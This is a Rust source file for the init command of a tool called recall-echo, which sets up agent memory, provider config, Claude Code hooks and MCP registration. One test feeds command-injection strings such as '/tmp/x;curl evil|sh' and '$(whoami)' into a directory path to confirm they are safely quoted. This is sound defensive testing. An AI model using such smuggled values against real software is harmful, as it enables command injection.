use std::fs;
use std::io::{self, BufRead, Write as _};
use std::path::Path;
use crate::agent_cli::{self, AgentCli, McpReport, McpStatus};
use crate::config::{self, Config, LlmSection, Provider};
use crate::error::RecallError;
use crate::paths;
use crate::theme::{BAD, BOLD, DIM, GOOD, RESET, WARN};
use crate::transcript::Source;
const MEMORY_TEMPLATE: &str = "# Memory\n\n\
<!-- recall-echo: Curated memory. Distilled facts, preferences, patterns. -->\n\
<!-- Keep under 200 lines. Only write confirmed, stable information. -->\n";
const ARCHIVE_TEMPLATE: &str = "# Conversation Archive\n\n\
| # | Date | Session | Topics | Messages | Duration |\n\
|---|------|---------|--------|----------|----------|\n";
const MODEL_DOWNLOAD_SIZE: &str = "~127 MB";
enum Status {
Created,
Exists,
Error,
}
fn print_status(status: Status, msg: &str) {
match status {
Status::Created => eprintln!(" {GOOD}✓{RESET} {msg}"),
Status::Exists => eprintln!(" {WARN}~{RESET} {msg}"),
Status::Error => eprintln!(" {BAD}✗{RESET} {msg}"),
}
}
fn notice_legacy_conversations(entity_root: &Path, new_dir: &Path) {
let legacy = entity_root.join("conversations");
let legacy_count = fs::read_dir(&legacy).map(|d| d.count()).unwrap_or(0);
let new_count = fs::read_dir(new_dir).map(|d| d.count()).unwrap_or(0);
if legacy_count > 0 && new_count == 0 {
print_status(
Status::Exists,
&format!(
"{legacy_count} archives in the legacy location {} — memory now lives at {}. \
Move them across to keep them searchable:",
legacy.display(),
new_dir.display()
),
);
eprintln!(" mv {}/* {}/", legacy.display(), new_dir.display());
eprintln!(
" {DIM}(and review {}/ARCHIVE.md against the one in memory/){RESET}",
entity_root.display()
);
}
}
fn ensure_dir(path: &Path) {
if !path.exists() {
if let Err(e) = fs::create_dir_all(path) {
print_status(
Status::Error,
&format!("Failed to create {}: {e}", path.display()),
);
}
}
}
fn write_if_not_exists(path: &Path, content: &str, label: &str) {
if path.exists() {
print_status(
Status::Exists,
&format!("{label} already exists — preserved"),
);
} else {
match fs::write(path, content) {
Ok(()) => print_status(Status::Created, &format!("Created {label}")),
Err(e) => print_status(Status::Error, &format!("Failed to create {label}: {e}")),
}
}
}
fn select_provider(reader: &mut dyn BufRead, detected: &[AgentCli]) -> Option<Provider> {
match detected {
[only] => {
print_status(
Status::Created,
&format!("found {only} — using it for extraction"),
);
Some(only.provider())
}
[] => {
eprintln!(
"\n {WARN}~{RESET} No agent CLI found. Extraction needs a model provider — \
{BOLD}ollama{RESET} is the free, local option."
);
prompt_any_provider(reader)
}
several => prompt_installed_cli(reader, several),
}
}
fn default_cli(detected: &[AgentCli]) -> AgentCli {
let running_under = agent_cli::current().filter(|cli| detected.contains(cli));
running_under
.or_else(|| {
detected
.contains(&AgentCli::ClaudeCode)
.then_some(AgentCli::ClaudeCode)
})
.or_else(|| detected.first().copied())
.unwrap_or(AgentCli::ClaudeCode)
}
fn prompt_installed_cli(reader: &mut dyn BufRead, detected: &[AgentCli]) -> Option<Provider> {
let default = default_cli(detected);
if !atty_check() {
print_status(
Status::Created,
&format!(
"{} agent CLIs found — using {default} for extraction",
detected.len()
),
);
return Some(default.provider());
}
let default_index = detected.iter().position(|cli| *cli == default).unwrap_or(0) + 1;
eprintln!("\n{BOLD}Which CLI should recall-echo use to extract knowledge?{RESET}");
for (index, cli) in detected.iter().enumerate() {
let note = if *cli == default {
if agent_cli::current() == Some(*cli) {
"— you're running under it (default)"
} else {
"— (default)"
}
} else {
""
};
eprintln!(
" {BOLD}{}{RESET}) {:<12}{DIM}{note}{RESET}",
index + 1,
cli.label()
);
}
eprintln!(" {BOLD}o{RESET}) other {DIM}— Claude API, Ollama, or decide later{RESET}");
eprint!("\n Choice [{default_index}]: ");
io::stderr().flush().ok();
let mut input = String::new();
if reader.read_line(&mut input).is_err() {
return Some(default.provider());
}
let answer = input.trim().to_lowercase();
if answer.is_empty() {
return Some(default.provider());
}
if answer == "o" || answer == "other" {
return prompt_any_provider(reader);
}
if let Some(cli) = answer
.parse::<usize>()
.ok()
.and_then(|n| detected.get(n.wrapping_sub(1)))
{
return Some(cli.provider());
}
if let Some(cli) = detected.iter().find(|cli| cli.label() == answer) {
return Some(cli.provider());
}
eprintln!(" {WARN}~{RESET} Unknown choice, defaulting to {default}");
Some(default.provider())
}
fn prompt_any_provider(reader: &mut dyn BufRead) -> Option<Provider> {
if !atty_check() {
return Some(Provider::Anthropic);
}
eprintln!("\n{BOLD}LLM provider for entity extraction:{RESET}");
eprintln!(" {BOLD}1{RESET}) anthropic {DIM}— Claude API (default){RESET}");
eprintln!(" {BOLD}2{RESET}) ollama {DIM}— Local models via Ollama, free{RESET}");
eprintln!(
" {BOLD}3{RESET}) claude-code {DIM}— Spawns your `claude` CLI (subscription){RESET}"
);
eprintln!(
" {BOLD}4{RESET}) gemini {DIM}— Spawns your `gemini` CLI (subscription){RESET}"
);
eprintln!(" {BOLD}5{RESET}) grok {DIM}— Spawns your `grok` CLI (subscription){RESET}");
eprintln!(" {BOLD}6{RESET}) codex {DIM}— Spawns your `codex` CLI (subscription){RESET}");
eprintln!(
" {BOLD}7{RESET}) skip {DIM}— Configure later with `recall-echo config`{RESET}"
);
eprint!("\n Choice [1]: ");
io::stderr().flush().ok();
let mut input = String::new();
if reader.read_line(&mut input).is_err() {
return None;
}
match input.trim() {
"" | "1" | "anthropic" => Some(Provider::Anthropic),
"2" | "ollama" => Some(Provider::Openai),
"3" | "claude-code" => Some(Provider::ClaudeCode),
"4" | "gemini" => Some(Provider::Gemini),
"5" | "grok" => Some(Provider::Grok),
"6" | "codex" => Some(Provider::Codex),
"7" | "skip" => None,
_ => {
eprintln!(" {WARN}~{RESET} Unknown choice, defaulting to anthropic");
Some(Provider::Anthropic)
}
}
}
fn configure_llm(
reader: &mut dyn BufRead,
memory_dir: &Path,
detected: &[AgentCli],
) -> Option<Provider> {
if config::exists(memory_dir) {
print_status(
Status::Exists,
".recall-echo.toml already exists — preserved",
);
return Some(config::load(memory_dir).llm.provider);
}
let Some(provider) = select_provider(reader, detected) else {
print_status(
Status::Exists,
"Skipped LLM config — run `recall-echo config set provider <name>` later",
);
return None;
};
let cfg = Config {
llm: LlmSection {
provider: provider.clone(),
..LlmSection::default()
},
..Config::default()
};
match config::save(memory_dir, &cfg) {
Ok(()) => {
print_status(
Status::Created,
&format!(
"Created .recall-echo.toml (provider: {})",
label_of(&provider)
),
);
Some(provider)
}
Err(e) => {
print_status(Status::Error, &format!("Failed to write config: {e}"));
None
}
}
}
fn label_of(provider: &Provider) -> String {
match provider {
Provider::Openai => "ollama (openai-compat)".to_string(),
other => other.to_string(),
}
}
fn extraction_line(provider: &Provider) -> String {
match provider {
Provider::Anthropic => "anthropic (Claude API — set ANTHROPIC_API_KEY)".into(),
Provider::Openai => "ollama (local models — free)".into(),
Provider::Cli => "custom CLI (from `[llm.cli]`)".into(),
cli => format!("{cli} (your subscription — no API billing)"),
}
}
fn init_graph(runtime: &tokio::runtime::Runtime, memory_dir: &Path) {
let graph_dir = memory_dir.join("graph");
if graph_dir.exists() {
print_status(Status::Exists, "graph/ already exists — preserved");
return;
}
match runtime.block_on(crate::graph::GraphMemory::open(&graph_dir)) {
Ok(_) => print_status(Status::Created, "Created graph/ (SurrealDB)"),
Err(e) => print_status(Status::Error, &format!("Failed to init graph: {e}")),
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
enum WarmOutcome {
Ready,
Skipped(&'static str),
Failed(String),
}
fn warm_embedding_model(memory_dir: &Path) -> WarmOutcome {
let exe = recall_binary();
if is_build_dir(&exe) {
return WarmOutcome::Skipped("running from a build directory");
}
let models_dir = memory_dir.join("graph").join("models");
if let Err(e) = fs::create_dir_all(&models_dir) {
return WarmOutcome::Failed(format!("could not create {}: {e}", models_dir.display()));
}
let cached = fs::read_dir(&models_dir).is_ok_and(|mut entries| entries.next().is_some());
if cached {
eprintln!(" {DIM}… loading the embedding model{RESET}");
} else {
eprintln!(
" {DIM}… downloading the embedding model ({MODEL_DOWNLOAD_SIZE}, once) — \
everything else is already set up, Ctrl-C is safe{RESET}"
);
}
match crate::graph::embed::FastEmbedder::new(&models_dir) {
Ok(_) => WarmOutcome::Ready,
Err(e) => WarmOutcome::Failed(e.to_string()),
}
}
fn recall_binary() -> String {
std::env::current_exe()
.ok()
.and_then(|p| p.to_str().map(String::from))
.unwrap_or_else(|| "recall-echo".into())
}
fn is_build_dir(exe: &str) -> bool {
exe.contains("/target/debug/") || exe.contains("/target/release/")
}
fn configure_hooks(entity_root: &Path) -> bool {
let claude_dir = match paths::detect_claude_code() {
Some(dir) => dir,
None => return false,
};
let settings_path = claude_dir.join("settings.json");
let recall_bin = recall_binary();
if is_build_dir(&recall_bin) {
print_status(
Status::Exists,
"Skipped hook install — running from a build directory",
);
return false;
}
let mut settings: serde_json::Value = if settings_path.exists() {
let content = match fs::read_to_string(&settings_path) {
Ok(c) => c,
Err(e) => {
print_status(
Status::Error,
&format!(
"Could not read {} ({e}) — hooks not configured",
settings_path.display()
),
);
return false;
}
};
match serde_json::from_str(&content) {
Ok(v) => v,
Err(e) => {
print_status(
Status::Error,
&format!(
"{} is not valid JSON ({e}) — refusing to overwrite it; \
fix the file and re-run init",
settings_path.display()
),
);
return false;
}
}
} else {
serde_json::json!({})
};
let root = fs::canonicalize(entity_root).unwrap_or_else(|_| entity_root.to_path_buf());
if root.display().to_string().chars().any(char::is_control) {
print_status(
Status::Error,
"Entity root contains control characters — refusing to write it into a shell hook",
);
return false;
}
if recall_bin.ends_with(" (deleted)") {
print_status(
Status::Error,
"The running binary was replaced on disk during init — re-run init",
);
return false;
}
if !is_shell_safe_bin(&recall_bin) {
print_status(
Status::Error,
&format!(
"Refusing to write hooks: binary path {recall_bin} contains characters unsafe \
in a shell command — install recall-echo at a plain path and re-run init"
),
);
return false;
}
let mut notes: Vec<String> = Vec::new();
let changed = match upsert_recall_hooks(&mut settings, &recall_bin, &root, &mut notes) {
Ok(changed) => changed,
Err(why) => {
print_status(
Status::Error,
&format!("settings.json: {why} — hooks not configured"),
);
return false;
}
};
for note in ¬es {
print_status(Status::Exists, note);
}
if changed {
match serde_json::to_string_pretty(&settings) {
Ok(content) => match write_settings_atomically(&settings_path, &content) {
Ok(()) => {
print_status(
Status::Created,
"Configured SessionStart + SessionEnd + PreCompact hooks in settings.json",
);
return true;
}
Err(e) => print_status(
Status::Error,
&format!("Failed to write settings.json: {e}"),
),
},
Err(e) => print_status(Status::Error, &format!("Failed to serialize settings: {e}")),
}
} else {
print_status(Status::Exists, "Hooks already configured in settings.json");
return true;
}
false
}
fn write_settings_atomically(path: &Path, content: &str) -> std::io::Result<()> {
if path.exists() {
let _ = fs::copy(path, path.with_extension("json.bak"));
}
let tmp = path.with_extension(format!("json.tmp.{}", std::process::id()));
let _ = fs::remove_file(&tmp);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
let mut f = fs::OpenOptions::new()
.write(true)
.create_new(true)
.mode(0o600)
.open(&tmp)?;
f.write_all(content.as_bytes())?;
f.sync_all()?;
}
#[cfg(not(unix))]
fs::write(&tmp, content)?;
if let Ok(meta) = fs::metadata(path) {
let _ = fs::set_permissions(&tmp, meta.permissions());
}
fs::rename(&tmp, path)
}
fn shell_path(path: &Path) -> String {
format!("'{}'", path.display().to_string().replace('\'', r"'\''"))
}
fn is_shell_safe_bin(path: &str) -> bool {
!path.is_empty()
&& path
.chars()
.all(|c| c.is_ascii_alphanumeric() || "/._+-".contains(c))
}
const SHELL_OPERATORS: [&str; 8] = [";", "&", "|", ">", "<", "$", "`", "\n"];
fn strip_single_quoted(cmd: &str) -> String {
let mut out = String::new();
let mut in_quote = false;
for c in cmd.chars() {
match c {
'\'' => in_quote = !in_quote,
_ if in_quote => {}
_ => out.push(c),
}
}
out
}
fn is_bare_recall_invocation(cmd: &str, subcommand: &str) -> bool {
if SHELL_OPERATORS
.iter()
.any(|op| strip_single_quoted(cmd).contains(op))
{
return false;
}
let mut parts = cmd.split_whitespace();
let Some(first) = parts.next() else {
return false;
};
Path::new(first)
.file_name()
.is_some_and(|f| f == "recall-echo")
&& parts.next() == Some(subcommand)
}
fn upsert_recall_hooks(
settings: &mut serde_json::Value,
recall_bin: &str,
entity_root: &Path,
notes: &mut Vec<String>,
) -> Result<bool, String> {
let root = shell_path(entity_root);
let plan: [(&str, Option<&str>, &str, String); 3] = [
(
"SessionStart",
Some("startup|resume"),
"consume",
format!("{recall_bin} consume {root}"),
),
(
"SessionEnd",
None,
"archive-session",
format!("{recall_bin} archive-session --entity-root {root}"),
),
(
"PreCompact",
None,
"checkpoint",
format!("{recall_bin} checkpoint --trigger precompact --entity-root {root}"),
),
];
let hooks = settings
.as_object_mut()
.and_then(|o| {
o.entry("hooks")
.or_insert_with(|| serde_json::json!({}))
.as_object_mut()
})
.ok_or_else(|| "settings.json root is not a JSON object".to_string())?;
let mut changed = false;
for (event, matcher, subcommand, expected) in plan {
if upsert_hook(hooks, event, matcher, subcommand, &expected, notes)? {
changed = true;
}
}
Ok(changed)
}
fn upsert_hook(
hooks: &mut serde_json::Map<String, serde_json::Value>,
event: &str,
matcher: Option<&str>,
subcommand: &str,
expected: &str,
notes: &mut Vec<String>,
) -> Result<bool, String> {
let marker = format!("recall-echo {subcommand}");
let not_array = || format!("\"hooks\".\"{event}\" is not an array — fix it and re-run init");
let mut changed = false;
let mut found = false;
let mut have_canonical = false;
if let Some(value) = hooks.get_mut(event) {
let arr = value.as_array_mut().ok_or_else(not_array)?;
for group in arr.iter_mut() {
let Some(inner) = group.get_mut("hooks").and_then(|h| h.as_array_mut()) else {
continue;
};
let mut i = 0;
while i < inner.len() {
let Some(cmd) = inner[i]
.get("command")
.and_then(|c| c.as_str())
.map(String::from)
else {
i += 1;
continue;
};
if !cmd.contains(&marker) {
i += 1;
continue;
}
found = true;
let repairable = cmd == expected || is_bare_recall_invocation(&cmd, subcommand);
if repairable && have_canonical {
inner.remove(i);
notes.push(format!("{event}: removed a duplicate recall-echo hook"));
changed = true;
continue; }
if cmd == expected {
have_canonical = true;
} else if repairable {
inner[i]["command"] = serde_json::Value::String(expected.to_string());
notes.push(format!(
"{event}: updated recall-echo hook to carry the entity root"
));
have_canonical = true;
changed = true;
} else {
notes.push(format!(
"{event}: left a customized recall-echo hook unchanged: {cmd} — note it \
does not carry the entity root; the canonical command is: {expected}"
));
}
i += 1;
}
let all_ours = !inner.is_empty()
&& inner
.iter()
.all(|h| h.get("command").and_then(|c| c.as_str()) == Some(expected));
if all_ours {
if let Some(m) = matcher {
if group.get("matcher").and_then(|v| v.as_str()) != Some(m) {
group["matcher"] = serde_json::Value::String(m.to_string());
changed = true;
}
}
}
}
arr.retain(|group| {
group
.get("hooks")
.and_then(|h| h.as_array())
.is_none_or(|inner| !inner.is_empty())
});
}
if found {
return Ok(changed);
}
let arr = hooks
.entry(event)
.or_insert_with(|| serde_json::json!([]))
.as_array_mut()
.ok_or_else(not_array)?;
let mut group = serde_json::json!({
"hooks": [{"type": "command", "command": expected}]
});
if let Some(m) = matcher {
group["matcher"] = serde_json::Value::String(m.to_string());
}
arr.push(group);
Ok(true)
}
fn register_mcp_clients(
runtime: &tokio::runtime::Runtime,
detected: &[AgentCli],
entity_root: &Path,
) -> Vec<McpReport> {
if detected.is_empty() {
return Vec::new();
}
let exe = recall_binary();
if is_build_dir(&exe) {
print_status(
Status::Exists,
"Skipped MCP registration — running from a build directory",
);
return Vec::new();
}
let root = fs::canonicalize(entity_root).unwrap_or_else(|_| entity_root.to_path_buf());
let reports: Vec<McpReport> = runtime.block_on(async {
let mut reports = Vec::with_capacity(detected.len());
for cli in detected {
reports.push(agent_cli::register_mcp(*cli, &exe, &root).await);
}
reports
});
for report in &reports {
match &report.status {
McpStatus::Registered => print_status(
Status::Created,
&format!("Registered MCP server with {}", report.cli),
),
McpStatus::AlreadyRegistered => print_status(
Status::Exists,
&format!("MCP server already registered with {}", report.cli),
),
McpStatus::Failed(detail) => {
print_status(
Status::Error,
&format!("Could not register MCP with {}: {detail}", report.cli),
);
eprintln!(" {DIM}run it yourself: {}{RESET}", report.command);
}
}
}
reports
}
struct Summary {
memory_dir: std::path::PathBuf,
provider: Option<Provider>,
capture: Vec<Source>,
mcp: Vec<McpReport>,
embedder: WarmOutcome,
}
impl Summary {
fn mcp_ready(&self) -> Vec<&'static str> {
self.mcp
.iter()
.filter(|report| !matches!(report.status, McpStatus::Failed(_)))
.map(|report| report.cli.label())
.collect()
}
}
fn print_summary(summary: &Summary) {
eprintln!("\n{BOLD}Setup complete.{RESET}\n");
print_status(
Status::Created,
&format!("memory initialised at {}", summary.memory_dir.display()),
);
match &summary.provider {
Some(provider) => print_status(
Status::Created,
&format!("extraction: {}", extraction_line(provider)),
),
None => print_status(
Status::Exists,
"extraction: not configured — `recall-echo config set provider <name>`",
),
}
if summary.capture.is_empty() {
print_status(
Status::Exists,
"capture: no agent CLI has recorded sessions here yet",
);
} else {
let names: Vec<&str> = summary.capture.iter().map(Source::as_str).collect();
print_status(Status::Created, &format!("capture: {}", names.join(", ")));
}
let ready = summary.mcp_ready();
if !ready.is_empty() {
print_status(
Status::Created,
&format!("MCP registered: {}", ready.join(", ")),
);
}
match &summary.embedder {
WarmOutcome::Ready => print_status(Status::Created, "embedding model ready"),
WarmOutcome::Skipped(reason) => print_status(
Status::Exists,
&format!("embedding model not warmed ({reason}) — downloads on first use"),
),
WarmOutcome::Failed(detail) => print_status(
Status::Exists,
&format!("embedding model not downloaded ({detail}) — retries on first use"),
),
}
eprintln!("\n {BOLD}Your next session will be remembered.{RESET}\n");
eprintln!(" {DIM}recall-echo status — is it healthy, what has it got{RESET}");
eprintln!(" {DIM}recall-echo config show — what it decided{RESET}");
eprintln!();
}
fn atty_check() -> bool {
use std::io::IsTerminal;
std::io::stderr().is_terminal()
}
pub fn run(entity_root: &Path) -> Result<(), RecallError> {
let stdin = io::stdin();
let mut reader = stdin.lock();
run_with_reader(entity_root, &mut reader)
}
pub fn run_with_reader(entity_root: &Path, reader: &mut dyn BufRead) -> Result<(), RecallError> {
if !entity_root.exists() {
return Err(RecallError::NotInitialized(format!(
"Directory not found: {}\n Create the directory first, or run from a valid path.",
entity_root.display()
)));
}
eprintln!("\n{BOLD}recall-echo{RESET} — initializing memory system\n");
let memory_dir = entity_root.join("memory");
let conversations_dir = memory_dir.join("conversations");
ensure_dir(&memory_dir);
ensure_dir(&conversations_dir);
notice_legacy_conversations(entity_root, &conversations_dir);
match paths::persist_entity_root(entity_root) {
Ok(file) => print_status(
Status::Created,
&format!("Entity root persisted to {}", file.display()),
),
Err(e) => print_status(
Status::Error,
&format!("Could not persist entity root: {e}"),
),
}
write_if_not_exists(&memory_dir.join("MEMORY.md"), MEMORY_TEMPLATE, "MEMORY.md");
write_if_not_exists(&memory_dir.join("EPHEMERAL.md"), "", "EPHEMERAL.md");
write_if_not_exists(
&memory_dir.join("ARCHIVE.md"),
ARCHIVE_TEMPLATE,
"ARCHIVE.md",
);
let runtime = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build();
let runtime = match runtime {
Ok(runtime) => Some(runtime),
Err(e) => {
print_status(Status::Error, &format!("Failed to start runtime: {e}"));
None
}
};
if let Some(runtime) = &runtime {
init_graph(runtime, &memory_dir);
}
let detected = agent_cli::installed();
let provider = configure_llm(reader, &memory_dir, &detected);
configure_hooks(entity_root);
let mcp = match &runtime {
Some(runtime) => register_mcp_clients(runtime, &detected, entity_root),
None => Vec::new(),
};
let embedder = warm_embedding_model(&memory_dir);
print_summary(&Summary {
memory_dir,
provider,
capture: agent_cli::capturing(),
mcp,
embedder,
});
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Cursor;
#[test]
fn the_test_binary_is_recognised_as_a_build_directory() {
assert!(
is_build_dir(&recall_binary()),
"test binary should be treated as a build directory: {}",
recall_binary()
);
assert!(!is_build_dir("/usr/local/bin/recall-echo"));
assert!(!is_build_dir("/home/d/.cargo/bin/recall-echo"));
}
#[test]
fn init_creates_directories_and_files() {
let tmp = tempfile::tempdir().unwrap();
let root = tmp.path().to_path_buf();
let mut reader = Cursor::new(b"skip\n" as &[u8]);
run_with_reader(&root, &mut reader).unwrap();
assert!(root.join("memory/MEMORY.md").exists());
assert!(root.join("memory/EPHEMERAL.md").exists());
assert!(root.join("memory/ARCHIVE.md").exists());
assert!(root.join("memory/conversations").exists());
}
#[test]
fn init_is_idempotent() {
let tmp = tempfile::tempdir().unwrap();
let root = tmp.path().to_path_buf();
let mut reader = Cursor::new(b"skip\n" as &[u8]);
run_with_reader(&root, &mut reader).unwrap();
fs::write(root.join("memory/MEMORY.md"), "custom content").unwrap();
let mut reader2 = Cursor::new(b"skip\n" as &[u8]);
run_with_reader(&root, &mut reader2).unwrap();
let content = fs::read_to_string(root.join("memory/MEMORY.md")).unwrap();
assert_eq!(content, "custom content");
}
#[test]
fn a_second_init_preserves_the_configured_provider() {
let tmp = tempfile::tempdir().unwrap();
let root = tmp.path().to_path_buf();
let memory_dir = root.join("memory");
fs::create_dir_all(&memory_dir).unwrap();
let chosen = configure_llm(
&mut Cursor::new(b"" as &[u8]),
&memory_dir,
&[AgentCli::Grok],
);
assert_eq!(chosen, Some(Provider::Grok));
let again = configure_llm(
&mut Cursor::new(b"" as &[u8]),
&memory_dir,
&[AgentCli::ClaudeCode, AgentCli::Codex],
);
assert_eq!(again, Some(Provider::Grok));
}
#[test]
fn init_fails_if_root_missing() {
let mut reader = Cursor::new(b"" as &[u8]);
let result = run_with_reader(Path::new("/nonexistent/path"), &mut reader);
assert!(result.is_err());
}
#[test]
fn a_single_installed_cli_is_chosen_without_asking() {
let mut reader = Cursor::new(b"" as &[u8]);
assert_eq!(
select_provider(&mut reader, &[AgentCli::Codex]),
Some(Provider::Codex)
);
assert_eq!(reader.position(), 0, "nothing should have been read");
}
#[test]
fn several_installed_clis_default_without_blocking() {
let mut reader = Cursor::new(b"" as &[u8]);
let chosen = select_provider(&mut reader, &[AgentCli::Grok, AgentCli::Codex]);
assert_eq!(chosen, Some(Provider::Grok));
}
#[test]
fn the_default_prefers_claude_code_over_install_order() {
assert_eq!(
default_cli(&[AgentCli::Codex, AgentCli::ClaudeCode]),
AgentCli::ClaudeCode
);
assert_eq!(
default_cli(&[AgentCli::Gemini, AgentCli::Grok]),
AgentCli::Gemini
);
assert_eq!(default_cli(&[]), AgentCli::ClaudeCode);
}
#[test]
fn no_installed_cli_falls_back_to_the_full_menu() {
let mut reader = Cursor::new(b"" as &[u8]);
assert_eq!(select_provider(&mut reader, &[]), Some(Provider::Anthropic));
}
#[test]
fn the_summary_names_the_cost_of_each_provider() {
assert!(extraction_line(&Provider::Grok).contains("no API billing"));
assert!(extraction_line(&Provider::Anthropic).contains("ANTHROPIC_API_KEY"));
assert!(extraction_line(&Provider::Openai).contains("free"));
}
#[test]
fn the_summary_lists_only_the_clients_that_registered() {
let summary = Summary {
memory_dir: std::path::PathBuf::from("/tmp/memory"),
provider: Some(Provider::Grok),
capture: vec![Source::Grok],
mcp: vec![
McpReport {
cli: AgentCli::ClaudeCode,
status: McpStatus::Registered,
command: String::new(),
},
McpReport {
cli: AgentCli::Grok,
status: McpStatus::AlreadyRegistered,
command: String::new(),
},
McpReport {
cli: AgentCli::Gemini,
status: McpStatus::Failed("no".into()),
command: String::new(),
},
],
embedder: WarmOutcome::Ready,
};
assert_eq!(summary.mcp_ready(), ["claude-code", "grok"]);
}
fn upsert(settings: &mut serde_json::Value, root: &str) -> (bool, Vec<String>) {
let mut skipped = Vec::new();
let changed = upsert_recall_hooks(
settings,
"/usr/local/bin/recall-echo",
Path::new(root),
&mut skipped,
)
.unwrap();
(changed, skipped)
}
#[test]
fn hooks_carry_the_entity_root() {
let mut settings = serde_json::json!({});
let (changed, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert!(skipped.is_empty());
let text = settings.to_string();
assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
assert!(text.contains("checkpoint --trigger precompact --entity-root '/home/d/.wiseferry'"));
assert!(text.contains("consume '/home/d/.wiseferry'"));
}
#[test]
fn a_legacy_bare_hook_is_rewritten_not_skipped() {
let mut settings = serde_json::json!({
"hooks": {
"SessionStart": [{
"matcher": "startup|resume",
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo consume"}]
}],
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]
}],
"PreCompact": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo checkpoint --trigger precompact"}]
}]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert_eq!(notes.len(), 3, "{notes:?}");
assert!(notes.iter().all(|n| n.contains("updated")), "{notes:?}");
let text = settings.to_string();
assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
assert_eq!(text.matches("archive-session").count(), 1);
assert_eq!(text.matches("checkpoint").count(), 1);
assert_eq!(text.matches("consume").count(), 1);
}
#[test]
fn a_correct_hook_set_is_left_unchanged() {
let mut settings = serde_json::json!({});
upsert(&mut settings, "/home/d/.wiseferry");
let before = settings.clone();
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed);
assert_eq!(settings, before);
}
#[test]
fn foreign_hooks_are_never_touched() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "notify-send done"}]
}]
}
});
upsert(&mut settings, "/home/d/.wiseferry");
let text = settings.to_string();
assert!(text.contains("notify-send done"));
assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
}
#[test]
fn a_wrapped_recall_hook_is_reported_not_rewritten() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session || true"}]
}]
}
});
let (_, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
assert_eq!(skipped.len(), 1);
assert!(
skipped[0].contains("archive-session || true"),
"{skipped:?}"
);
let text = settings.to_string();
assert!(text.contains("archive-session || true"));
assert_eq!(text.matches("archive-session").count(), 1);
}
#[test]
fn a_root_with_shell_metacharacters_is_neutralized() {
for (root, quoted) in [
(
"/Users/d/My Files/.wiseferry",
"'/Users/d/My Files/.wiseferry'",
),
("/tmp/x;curl evil|sh", "'/tmp/x;curl evil|sh'"),
("/tmp/$(whoami)/`id`", "'/tmp/$(whoami)/`id`'"),
] {
let mut settings = serde_json::json!({});
upsert(&mut settings, root);
let text = settings.to_string();
assert!(
text.contains(&format!("--entity-root {quoted}")),
"{root}: {text}"
);
}
}
#[test]
fn an_embedded_single_quote_is_escaped() {
assert_eq!(
shell_path(Path::new("/home/d/o'brien")),
r"'/home/d/o'\''brien'"
);
}
#[test]
fn duplicate_stale_hooks_collapse_to_one() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [
{"hooks": [{"type": "command", "command": "/old/path/recall-echo archive-session"}]},
{"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]}
]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert!(
notes.iter().any(|n| n.contains("removed a duplicate")),
"{notes:?}"
);
let expected =
"/usr/local/bin/recall-echo archive-session --entity-root '/home/d/.wiseferry'";
let text = settings.to_string();
assert_eq!(text.matches(expected).count(), 1, "{text}");
assert_eq!(text.matches("archive-session").count(), 1, "{text}");
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed);
}
#[test]
fn a_prefix_wrapped_hook_is_not_rewritten() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "timeout 30 /usr/local/bin/recall-echo archive-session"}]
}]
}
});
let (_, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(notes.iter().any(|n| n.contains("unchanged")), "{notes:?}");
let text = settings.to_string();
assert!(text.contains("timeout 30 /usr/local/bin/recall-echo archive-session"));
assert_eq!(text.matches("archive-session").count(), 1, "{text}");
}
#[test]
fn a_quoted_root_with_operators_stays_repairable() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session --entity-root '/tmp/a;b'"}]
}]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed, "{notes:?}");
let text = settings.to_string();
assert!(
text.contains("--entity-root '/home/d/.wiseferry'"),
"{text}"
);
assert!(!text.contains("/tmp/a;b"), "{text}");
}
#[test]
fn archive_template_has_header() {
let tmp = tempfile::tempdir().unwrap();
let mut reader = Cursor::new(b"skip\n" as &[u8]);
run_with_reader(tmp.path(), &mut reader).unwrap();
let content = fs::read_to_string(tmp.path().join("memory/ARCHIVE.md")).unwrap();
assert!(content.contains("# Conversation Archive"));
assert!(content.contains("| # | Date"));
}
}